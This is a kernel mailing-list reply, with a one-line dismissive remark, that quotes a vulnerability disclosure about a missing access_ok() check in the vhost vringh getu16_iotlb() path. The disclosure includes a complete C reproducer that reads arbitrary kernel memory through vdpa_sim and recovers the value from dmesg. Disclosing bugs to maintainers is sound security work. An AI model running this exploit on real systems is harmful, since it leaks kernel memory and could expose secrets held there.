On Thu, 15 Oct 2026 15:23:45 +0800
Haoran Wang <[email protected]> wrote:
> I'd like to report an issue in drivers/vhost/vringh.c:1216 (function
> getu16_iotlb), found via static analysis of Linux 7.0.11 and verified
> against the 7.2.10 source tree. I have reproduced the leak on an
> unmodified 7.2.10 kernel.
>
> 1. Summary
> getu16_iotlb() calls __get_user(tmp, (__virtio16 __user *)iov_base)
> without an access_ok() check. iov_base originates from iotlb_translate(),
> which only performs an IOTLB interval lookup (vhost_iotlb_itree_first) and
> does not call access_ok(). In the vdpa_sim default passthrough mode the
> entire address space is identity-mapped ([0, ULONG_MAX] -> 0), and
> vdpasim_set_vq_address() stores the controller-supplied vring address
> verbatim with no validation. A controller with CAP_NET_ADMIN can therefore
> set a vring avail_user_addr to a kernel address. On a vq kick the vdpa_sim
> worker reads 2 bytes from that kernel address via __get_user (no
> access_ok). Each vring iteration reads 2 bytes and the value is
> repeatable, yielding an arbitrary-kernel-address 2-byte read. get_user()
> would have rejected a kernel address via access_ok(), while__get_user() does
> not.
Can 'YOU' write that in proper English?
That is just horrid twaddle.
David
>
> 2. Vulnerable code
> - File: drivers/vhost/vringh.c:1216 (unchanged in 7.2.10)
> - Function: getu16_iotlb
> - Misused API: __get_user
>
> ```c
> /* drivers/vhost/vringh.c:1216 - getu16_iotlb (IOTLB read helper, per vring
> iteration) */
> if (vrh->use_va) {
> ret = __get_user(tmp, (__virtio16 __user
> *)ivec.iov.iovec[0].iov_base); /* no access_ok */
> }
>
> /* iov_base comes from iotlb_translate() (IOTLB lookup only, no access_ok) */
> /* drivers/vdpa/vdpa_sim/vdpa_sim.c:157-159 - passthrough identity-maps
> everything */
> vhost_iotlb_add_range(&iommu, 0, ULONG_MAX, 0, VHOST_MAP_RW);
> /* vdpa_sim.c:297 - set_vq_address stores the controller u64 verbatim, no
> validation */
> vq->desc_addr = desc_area; /* controller-controlled = kernel address */
> ```
>
> 3. Root cause
> get_user() = access_ok() + __get_user(). __get_user() skips access_ok()
> (it expands to __get_user_nocheck, which performs no check_range, whereas
> get_user/put_user expand to the check_range-bearing variants that reject
> kernel addresses). In the vhost-vdpa + vdpa_sim use_va path, the vring
> addresses supplied by the controller (driver_addr/desc_addr) flow through
> iotlb_translate(), which only does a vhost_iotlb_itree_first() interval
> lookup. vdpa_sim's default passthrough IOTLB identity-maps the whole
> address space, so any address passes the lookup. vdpasim_set_vq_address()
> stores the controller's u64 with no user/kernel validation, and
> vhost_vring_set_addr()'s access_ok is skipped in the vhost-vdpa path
> because vq->private_data is never set. Consequently __get_user
> dereferences an attacker-chosen kernel virtual address: the vdpa_sim
> worker runs under kthread_use_mm() in the controller's mm with SMAP
> disabled (STAC), and kernel addresses are mapped there, so 2 bytes of
> kernel memory are read. With num=1, __vringh_get_head() sees head (the
> leaked u16) >= 1 and calls vringh_bad(), which printk's the leaked value
> to dmesg, making the leak externally observable.
>
> 4. Affected versions
> Present in: Linux 7.0.11. 7.2.10: still present, reproduced on 7.2.10 kernel.
>
> 5. Trigger / Preconditions
> CAP_NET_ADMIN + vdpa_sim (CONFIG_VDPA_SIM / VDPA_SIM_BLOCK) + use_va mode.
> The controller creates a vdpasim device, binds its mm (VHOST_SET_OWNER,
> enabling use_va), negotiates VIRTIO_F_ACCESS_PLATFORM, sets the vring
> avail_user_addr to a kernel address, enables the vq, sets DRIVER_OK, and
> kicks the vq. The worker then reads 2 bytes at the chosen kernel address.
>
> 6. Proof of Concept
> Reproduced on Linux 7.2.10 tarball (config-only: CONFIG_KASAN=y,
> VHOST_VDPA=y,
> VDPA_SIM=y, VDPA_SIM_BLOCK=y). The trigger sets avail_user_addr =
> &linux_banner
> and reads avail->ring[0] (at banner+4). With num=1, the leaked u16 is
> printk'd
> by vringh_bad().
>
> Concrete reproduced evidence (7.2.10):
> - dmesg: "vringh:" then "Guest says index 8312 > 1 is available"
> - leaked value = 8312 = 0x2078 = linux_banner[4]='x'(0x78) |
> (linux_banner[5]=' '(0x20) << 8)
> - The expected value is independently computable from /proc/version (which
> prints the same linux_banner): proc_version[4] | (proc_version[5] << 8)
> = 0x78 | 0x2000 = 0x2078 = 8312. The reproduced value MATCHES.
> - Across 3 boots the banner *address* changed under KASLR
> (0xffffffff8b517280 / 0xffffffffa3f17280 / 0xffffffff90717280; the
> trigger resolves it at runtime via /proc/kallsyms), while the leaked
> *content* was 8312 every time. KASLR only randomizes the address, the 2
> bytes read there are constant.
>
> So a CAP_NET_ADMIN controller can read 2 bytes at an arbitrary kernel
> virtual address by setting a vring avail_user_addr to that address and
> kicking the vdpa_sim worker. The value is disclosed to dmesg via
> vringh_bad(). This is an arbitrary-kernel-address 2-byte read on an
> 7.2.10 kernel.
>
> Reproducer (vringh_leak.c) -- runs in the QEMU guest as root
> (CAP_NET_ADMIN):
>
> ```c
> #define _GNU_SOURCE
> #include <stdio.h>
> #include <stdlib.h>
> #include <string.h>
> #include <unistd.h>
> #include <fcntl.h>
> #include <errno.h>
> #include <stdint.h>
> #include <sys/ioctl.h>
> #include <sys/socket.h>
> #include <sys/mman.h>
> #include <linux/netlink.h>
> #include <linux/genetlink.h>
> #include <linux/vhost.h>
> #include <linux/vdpa.h>
> #include <sys/eventfd.h>
>
> #ifndef VHOST_VDPA
> #define VHOST_VDPA 0xAF
> #endif
>
> #ifndef VHOST_BACKEND_F_IOTLB_MSG_V2
> #define VHOST_BACKEND_F_IOTLB_MSG_V2 0x1
> #endif
> #ifndef VHOST_BACKEND_F_IOTLB_BATCH
> #define VHOST_BACKEND_F_IOTLB_BATCH 0x2
> #endif
> #ifndef VHOST_BACKEND_F_IOTLB_ASID
> #define VHOST_BACKEND_F_IOTLB_ASID 0x3
> #endif
> #ifndef VHOST_BACKEND_F_ENABLE_AFTER_DRIVER_OK
> #define VHOST_BACKEND_F_ENABLE_AFTER_DRIVER_OK 0x6
> #endif
>
> static inline int nla_ok_(const struct nlattr *nla, int remaining)
> {
> return remaining >= (int)sizeof(struct nlattr) &&
> nla->nla_len >= (int)sizeof(struct nlattr) &&
> nla->nla_len <= remaining;
> }
> static inline struct nlattr *nla_next_(const struct nlattr *nla, int
> *remaining)
> {
> int tot = (int)NLA_ALIGN(nla->nla_len);
> *remaining -= tot;
> return (struct nlattr *)((char *)nla + tot);
> }
> static inline void *nla_data_(const struct nlattr *nla)
> {
> return (char *)nla + NLA_HDRLEN;
> }
>
> #ifndef VDPA_GENL_NAME
> #define VDPA_GENL_NAME "vdpa"
> #endif
> #ifndef VDPA_GENL_VERSION
> #define VDPA_GENL_VERSION 1
> #endif
> #ifndef VDPA_CMD_DEV_NEW
> #define VDPA_CMD_DEV_NEW 3
> #endif
> #ifndef VDPA_CMD_DEV_DEL
> #define VDPA_CMD_DEV_DEL 4
> #endif
> #ifndef VDPA_ATTR_MGMTDEV_DEV_NAME
> #define VDPA_ATTR_MGMTDEV_DEV_NAME 2
> #endif
> #ifndef VDPA_ATTR_DEV_NAME
> #define VDPA_ATTR_DEV_NAME 4
> #endif
>
> #define die(fmt, ...) do { fprintf(stderr, "FATAL: " fmt "\n",
> ##__VA_ARGS__); exit(1); } while (0)
> #define xp(fmt, ...) do { int _e = errno; fprintf(stderr, "ERR " fmt "
> (%s)\n", ##__VA_ARGS__, strerror(_e)); } while (0)
>
> static int nlsock;
> static __u32 nlseq = 0;
>
> static int nla_put_str(struct nlmsghdr *nlh, int len, int type, const char *s)
> {
> struct nlattr { __u16 nla_len; __u16 nla_type; } *nla;
> int sl = (int)strlen(s) + 1;
> int pl = NLA_HDRLEN + sl;
> int pad = NLA_ALIGN(sl) - sl;
> if (NLMSG_ALIGN(nlh->nlmsg_len) + NLA_ALIGN(pl) > (size_t)len) return
> -1;
> nla = (void *)nlh + NLMSG_ALIGN(nlh->nlmsg_len);
> nla->nla_len = (__u16)pl;
> nla->nla_type = (__u16)type;
> memcpy((char *)nla + NLA_HDRLEN, s, sl);
> nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + NLA_ALIGN(pl);
> (void)pad;
> return 0;
> }
>
> static int genl_resolve_family(const char *name, __u16 *fam_id)
> {
> char buf[1024];
> struct nlmsghdr *nlh = (void *)buf;
> struct genlmsghdr *gh;
> memset(buf, 0, sizeof(buf));
> nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*gh));
> nlh->nlmsg_type = GENL_ID_CTRL;
> nlh->nlmsg_flags = NLM_F_REQUEST;
> nlh->nlmsg_seq = ++nlseq;
> gh = NLMSG_DATA(nlh);
> gh->cmd = CTRL_CMD_GETFAMILY;
> gh->version = 1;
> nla_put_str(nlh, sizeof(buf), CTRL_ATTR_FAMILY_NAME, name);
> struct sockaddr_nl dst = { .nl_family = AF_NETLINK };
> struct iovec iov = { .iov_base = nlh, .iov_len = nlh->nlmsg_len };
> struct msghdr msg = { .msg_name = &dst, .msg_namelen = sizeof(dst),
> .msg_iov = &iov, .msg_iovlen = 1 };
> if (sendmsg(nlsock, &msg, 0) < 0) { xp("sendmsg getfamily"); return -1;
> }
> char rbuf[4096];
> struct iovec riov = { .iov_base = rbuf, .iov_len = sizeof(rbuf) };
> struct msghdr rmsg = { .msg_name = &dst, .msg_namelen = sizeof(dst),
> .msg_iov = &riov, .msg_iovlen = 1 };
> ssize_t n = recvmsg(nlsock, &rmsg, 0);
> if (n < 0) { xp("recvmsg getfamily"); return -1; }
> struct nlmsghdr *r = (void *)rbuf;
> if (!NLMSG_OK(r, (size_t)n)) return -1;
> if (r->nlmsg_type == NLMSG_ERROR) { struct nlmsgerr *e = NLMSG_DATA(r);
> fprintf(stderr, "genl getfamily error %d\n", e->error); return -1; }
> int hlen = GENL_HDRLEN;
> struct nlattr *na = (void *)r + NLMSG_HDRLEN + hlen;
> int rem = (int)(r->nlmsg_len - NLMSG_HDRLEN - hlen);
> *fam_id = 0;
> for (; nla_ok_(na, rem); na = nla_next_(na, &rem)) {
> if (na->nla_type == CTRL_ATTR_FAMILY_ID) {
> *fam_id = *(__u16 *)nla_data_(na);
> return 0;
> }
> }
> return -1;
> }
>
> static int genl_dev_new(__u16 fam, const char *mgmtdev, const char *devname)
> {
> char buf[1024];
> struct nlmsghdr *nlh = (void *)buf;
> struct genlmsghdr *gh;
> memset(buf, 0, sizeof(buf));
> nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*gh));
> nlh->nlmsg_type = fam;
> nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
> nlh->nlmsg_seq = ++nlseq;
> gh = NLMSG_DATA(nlh);
> gh->cmd = VDPA_CMD_DEV_NEW;
> gh->version = VDPA_GENL_VERSION;
> if (nla_put_str(nlh, sizeof(buf), VDPA_ATTR_MGMTDEV_DEV_NAME, mgmtdev)
> < 0) return -1;
> if (nla_put_str(nlh, sizeof(buf), VDPA_ATTR_DEV_NAME, devname) < 0)
> return -1;
> struct sockaddr_nl dst = { .nl_family = AF_NETLINK };
> struct iovec iov = { .iov_base = nlh, .iov_len = nlh->nlmsg_len };
> struct msghdr msg = { .msg_name = &dst, .msg_namelen = sizeof(dst),
> .msg_iov = &iov, .msg_iovlen = 1 };
> if (sendmsg(nlsock, &msg, 0) < 0) { xp("sendmsg dev_new"); return -1; }
> char rbuf[4096];
> struct iovec riov = { .iov_base = rbuf, .iov_len = sizeof(rbuf) };
> struct msghdr rmsg = { .msg_name = &dst, .msg_namelen = sizeof(dst),
> .msg_iov = &riov, .msg_iovlen = 1 };
> ssize_t n = recvmsg(nlsock, &rmsg, 0);
> if (n < 0) { xp("recvmsg dev_new"); return -1; }
> struct nlmsghdr *r = (void *)rbuf;
> if (!NLMSG_OK(r, (size_t)n)) return -1;
> if (r->nlmsg_type == NLMSG_ERROR) {
> struct nlmsgerr *e = NLMSG_DATA(r);
> if (e->error == 0)
> return 0;
> fprintf(stderr, "dev_new error %d (%s)\n", e->error,
> strerror(-e->error));
> return -1;
> }
> return 0;
> }
>
> static int genl_dev_del(__u16 fam, const char *devname)
> {
> char buf[1024];
> struct nlmsghdr *nlh = (void *)buf;
> struct genlmsghdr *gh;
> memset(buf, 0, sizeof(buf));
> nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*gh));
> nlh->nlmsg_type = fam;
> nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
> nlh->nlmsg_seq = ++nlseq;
> gh = NLMSG_DATA(nlh);
> gh->cmd = VDPA_CMD_DEV_DEL;
> gh->version = VDPA_GENL_VERSION;
> nla_put_str(nlh, sizeof(buf), VDPA_ATTR_DEV_NAME, devname);
> struct sockaddr_nl dst = { .nl_family = AF_NETLINK };
> struct iovec iov = { .iov_base = nlh, .iov_len = nlh->nlmsg_len };
> struct msghdr msg = { .msg_name = &dst, .msg_namelen = sizeof(dst),
> .msg_iov = &iov, .msg_iovlen = 1 };
> sendmsg(nlsock, &msg, 0);
> char rbuf[4096]; struct iovec riov = { .iov_base = rbuf, .iov_len =
> sizeof(rbuf) };
> struct msghdr rmsg = { .msg_name = &dst, .msg_namelen = sizeof(dst),
> .msg_iov = &riov, .msg_iovlen = 1 };
> recvmsg(nlsock, &rmsg, 0);
> return 0;
> }
>
> static unsigned long ksym(const char *want)
> {
> FILE *f = fopen("/proc/kallsyms", "r");
> if (!f) return 0;
> char line[512];
> unsigned long a = 0;
> while (fgets(line, sizeof(line), f)) {
> char type; char name[256];
> if (sscanf(line, "%lx %c %255s", &a, &type, name) == 3) {
> if (strcmp(name, want) == 0) { fclose(f); return a; }
> }
> }
> fclose(f);
> return 0;
> }
>
> static int expected_leak(unsigned *out)
> {
> FILE *f = fopen("/proc/version", "r");
> if (!f) return -1;
> char v[256];
> if (!fgets(v, sizeof(v), f)) { fclose(f); return -1; }
> fclose(f);
> int len = (int)strlen(v);
> if (len < 6) return -1;
> unsigned m = ((unsigned)(unsigned char)v[4]) | (((unsigned)(unsigned
> char)v[5]) << 8);
> *out = m;
> fprintf(stderr, "[*] /proc version bytes[4,5] = 0x%02x 0x%02x =>
> expected leak M = 0x%04x (%u)\n",
> (unsigned char)v[4], (unsigned char)v[5], m, m);
> fprintf(stderr, "[*] /proc/version = %.40s\n", v);
> return 0;
> }
>
> int main(int argc, char **argv)
> {
> unsigned exp;
> if (expected_leak(&exp)) die("cannot read /proc/version");
> unsigned long banner = ksym("linux_banner");
> fprintf(stderr, "[*] linux_banner @ 0x%lx\n", banner);
> if (!banner) die("linux_banner not in /proc/kallsyms (need root)");
>
> nlsock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
> if (nlsock < 0) die("netlink socket");
> struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
> if (bind(nlsock, (struct sockaddr *)&sa, sizeof(sa)) < 0) die("netlink
> bind");
> __u16 fam;
> if (genl_resolve_family(VDPA_GENL_NAME, &fam)) die("resolve genl family
> 'vdpa' (CONFIG_VDPA?)");
> fprintf(stderr, "[*] genl family 'vdpa' id=%u\n", fam);
> if (genl_dev_new(fam, "vdpasim_blk", "sim0")) die("dev_new vdpasim_blk
> (CONFIG_VDPA_SIM_BLOCK?)");
> fprintf(stderr, "[*] created vdpa device sim0 (vdpasim_blk)\n");
>
> char path[64]; int vfd = -1;
> for (int i = 0; i < 50; i++) {
> snprintf(path, sizeof(path), "/dev/vhost-vdpa-%d", i);
> vfd = open(path, O_RDWR | O_CLOEXEC);
> if (vfd >= 0) break;
> }
> if (vfd < 0) die("open /dev/vhost-vdpa-*");
> fprintf(stderr, "[*] opened %s fd=%d\n", path, vfd);
>
> int callfd = eventfd(0, EFD_CLOEXEC);
> int kickfd = eventfd(0, EFD_CLOEXEC);
> if (callfd < 0 || kickfd < 0) die("eventfd");
>
> if (ioctl(vfd, VHOST_SET_OWNER)) die("VHOST_SET_OWNER");
>
> __u64 bf = 0;
> if (ioctl(vfd, VHOST_GET_BACKEND_FEATURES, &bf))
> xp("get_backend_features");
> __u64 setbf = bf | (1ULL << VHOST_BACKEND_F_IOTLB_MSG_V2)
> | (1ULL << VHOST_BACKEND_F_IOTLB_BATCH)
> | (1ULL << VHOST_BACKEND_F_IOTLB_ASID)
> | (1ULL << VHOST_BACKEND_F_ENABLE_AFTER_DRIVER_OK);
> if (ioctl(vfd, VHOST_SET_BACKEND_FEATURES, &setbf))
> xp("set_backend_features");
>
> __u64 feat = 0;
> if (ioctl(vfd, VHOST_GET_FEATURES, &feat)) die("get_features");
> __u64 ack = 0;
> ack |= (1ULL << VIRTIO_F_ACCESS_PLATFORM);
> ack |= (1ULL << VIRTIO_F_VERSION_1);
> ack |= (1ULL << VIRTIO_F_ANY_LAYOUT);
> ack &= feat;
> if (!(ack & (1ULL << VIRTIO_F_ACCESS_PLATFORM))) die("ACCESS_PLATFORM
> not supported - no use_va?");
> if (ioctl(vfd, VHOST_SET_FEATURES, &ack)) die("set_features (need
> ACCESS_PLATFORM)");
>
> struct vhost_vring_state vs = { .index = 0, .num = 1 };
> if (ioctl(vfd, VHOST_SET_VRING_NUM, &vs)) die("set_vring_num");
>
> size_t pg = 4096;
> void *descbuf = mmap(NULL, pg, PROT_READ|PROT_WRITE,
> MAP_SHARED|MAP_ANONYMOUS, -1, 0);
> void *usedbuf = mmap(NULL, pg, PROT_READ|PROT_WRITE,
> MAP_SHARED|MAP_ANONYMOUS, -1, 0);
> if (descbuf == MAP_FAILED || usedbuf == MAP_FAILED) die("mmap");
> memset(descbuf, 0, pg); memset(usedbuf, 0, pg);
>
> struct vhost_vring_addr va = {0};
> va.index = 0;
> va.flags = 0;
> va.desc_user_addr = (uintptr_t)descbuf;
> va.avail_user_addr = (uintptr_t)banner; /* <-- KERNEL address, the
> leak source */
> va.used_user_addr = (uintptr_t)usedbuf;
> va.log_guest_addr = 0;
> if (ioctl(vfd, VHOST_SET_VRING_ADDR, &va)) die("set_vring_addr
> (avail=kernel addr rejected?)");
>
> struct vhost_vring_state base = { .index = 0, .num = 0 };
> if (ioctl(vfd, VHOST_SET_VRING_BASE, &base)) die("set_vring_base");
>
> struct vhost_vring_file cf = { .index = 0, .fd = callfd };
> if (ioctl(vfd, VHOST_SET_VRING_CALL, &cf)) die("set_vring_call");
> struct vhost_vring_file kf = { .index = 0, .fd = kickfd };
> if (ioctl(vfd, VHOST_SET_VRING_KICK, &kf)) die("set_vring_kick");
>
> struct vhost_vring_state en = { .index = 0, .num = 1 };
> if (ioctl(vfd, VHOST_VDPA_SET_VRING_ENABLE, &en))
> die("set_vring_enable");
>
> __u8 status = VIRTIO_CONFIG_S_ACKNOWLEDGE | VIRTIO_CONFIG_S_DRIVER
> | VIRTIO_CONFIG_S_FEATURES_OK | VIRTIO_CONFIG_S_DRIVER_OK;
> if (ioctl(vfd, VHOST_VDPA_SET_STATUS, &status)) die("set_status
> DRIVER_OK");
>
> uint64_t one = 1;
> if (write(kickfd, &one, sizeof(one)) != sizeof(one)) die("kick write");
>
> unsigned leaked = 0; int found = 0;
> for (int try = 0; try < 20 && !found; try++) {
> usleep(100000);
> FILE *d = popen("dmesg 2>/dev/null", "r");
> if (d) {
> char l[512];
> while (fgets(l, sizeof(l), d)) {
> char *p = strstr(l, "Guest says index");
> if (p) {
> unsigned idx = 0, numv = 0;
> if (sscanf(p, "Guest says index %u > %u
> is available",
> &idx, &numv) >= 1) {
> leaked = idx; found = 1;
> fprintf(stderr, "[!!] dmesg:
> %s", l);
> break;
> }
> }
> }
> pclose(d);
> }
> }
>
> if (!found) {
> fprintf(stderr, "[!] no vringh_bad leak line in dmesg; dumping
> tail:\n");
> FILE *d = popen("dmesg 2>/dev/null | tail -40", "r");
> if (d) { char l[512]; while (fgets(l, sizeof(l), d)) fputs(l,
> stderr); pclose(d); }
> die("leak not observed (worker may not have run, or
> use_va/mm_bound not set)");
> }
>
> fprintf(stderr, "\n=== RESULT ===\n");
> fprintf(stderr, "leaked kernel u16 @ linux_banner+4 = 0x%04x (%u)\n",
> leaked, leaked);
> fprintf(stderr, "expected (/proc/version[4,5]) = 0x%04x (%u)\n",
> exp, exp);
> if (leaked == exp) {
> fprintf(stderr, "MATCH: __get_user read 2 bytes at kernel addr
> 0x%lx via vringh.c:1216\n", banner + 4);
> fprintf(stderr, "PROVEN: arbitrary-kernel-address 2-byte read
> (no access_ok) on unmodified kernel\n");
> } else {
> fprintf(stderr, "MISMATCH - investigate\n");
> }
>
> status = 0; ioctl(vfd, VHOST_VDPA_SET_STATUS, &status);
> close(vfd); close(callfd); close(kickfd);
> genl_dev_del(fam, "sim0");
> return (leaked == exp) ? 0 : 2;
> }
> ```
>
> Captured dmesg from the 7.2.10 run (the disclosed leaked value):
> ```
> [ 1.882938] vringh:
> [ 1.882944] Guest says index 8312 > 1 is available
> ```
>
> 7. Impact
> Privileged kernel memory information leak: a CAP_NET_ADMIN controller can
> read 2 bytes at an arbitrary kernel virtual address per vring kick via
> __get_user() with no access_ok(), and the value is disclosed to dmesg via
> vringh_bad(). The read is repeatable, so the whole kernel address space
> can be scanned 2 bytes at a time (kernel .text/.data, structure contents,
> in-memory keys). CAP_NET_ADMIN should not grant arbitrary kernel-memory
> reads. No memory corruption. KASLR does not prevent it (only the address
> is randomized, the leaked content is constant). Only the use_va mode is
> affected (the non-use_va path goes through GUP, which has an equivalent
> check_range guard).
>
> Please let me know if you need more detail.
>
> Best regards,
> Haoran Wang <[email protected]>
